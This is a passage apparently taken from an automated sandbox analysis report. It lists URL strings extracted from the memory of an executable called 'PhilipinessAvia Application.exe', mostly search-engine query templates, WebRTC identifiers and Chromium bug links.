      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/favicon.icohttp://search.incredibar.com/search.php?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.incredibar.com/search.php?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.snap.do/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.snapdo.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.softonic.com/img/favicon.icohttp://search.softonic.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/favicon.icohttp://search.sweetim.com/search.asp?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.sweetim.com/search.asp?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/?ru=1&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.tut.by/favicon.icohttp://search.tut.by/?ru=1&query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://search.walla.co.il/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchatlas.centrum.cz/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/favicon.icohttp://searchfunmoods.com/results.php?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://searchfunmoods.com/results.php?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.iminent.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.iminent.com/StartWeb/1033/homepage/#q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/favicon.icohttp://start.sweetpacks.com/search.asp?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://start.sweetpacks.com/search.asp?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://static.mediacentrum.sk/katalog/atlas.sk/images/favicon.icohttps://hladaj.atlas.sk/fulltext/?p
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://szukaj.wp.pl/szukaj.html?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/favicon.icohttp://www.conduit.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.conduit.com/search?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delfi.lt/paieska/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delfi.lv/search_all/?ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/favicon.icohttp://www.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.ietf.org/id/draft-holmer-rmcat-transport-wide-cc-extensions-01
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/api/suggestOS?suggestQuery=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/cgi-bin/otsing?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.neti.ee/favicon.icohttp://www.neti.ee/cgi-bin/otsing?query=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search-results.com/web?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search.delta-search.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.search.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/favicon.icohttp://www.searchnu.com/web?hl=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.searchnu.com/web?hl=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.softonic.com.br/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.softonic.com/s/
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.walla.co.il/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.walla.co.il/favicon.icohttp://search.walla.co.il/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/abs-capture-time
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/abs-send-time
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/generic-frame-descriptor-00
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.webrtc.org/experiments/rtp-hdrext/transport-wide-cc-02
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.yhs.delta-search.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.yhs.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www.zoznam.sk/hladaj.fcgi?s=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www1.delta-search.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www1.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www2.delta-search.com/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: http://www2.delta-search.com/home?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ac.ecosia.org/autocomplete?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ac.search.naver.com/nx/ac?of=os&ie=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://alekberg.net/privacy
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://alekberg.net/privacyalekberg.net
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F71BD000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://aomediacodec.github.io/av1-rtp-spec/#dependency-descriptor-rtp-header-extension
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://api.oceanhero.today/suggestions?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://api.qwant.com/api/suggest/?q=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/favicon.icohttps://ar.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://ar.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/favicon.icohttps://at.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://at.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/favicon.icohttps://au.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://au.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.ico
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/favicon.icohttps://br.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/search
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F76E7000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://br.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1178depth32float-stencil8Support
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1197
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1510
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1518
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=1591
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=42
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=42texture-compression-etc2Support
      Source: PhilipinessAvia Application.exe, 00000004.00000000.1950921313.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmp, PhilipinessAvia Application.exe, 0000000A.00000000.1984731214.00007FF7F7675000.00000002.00000001.01000000.00000009.sdmpString found in binary or memory: https://bugs.chromium.org/p/dawn/issues/detail?id=434
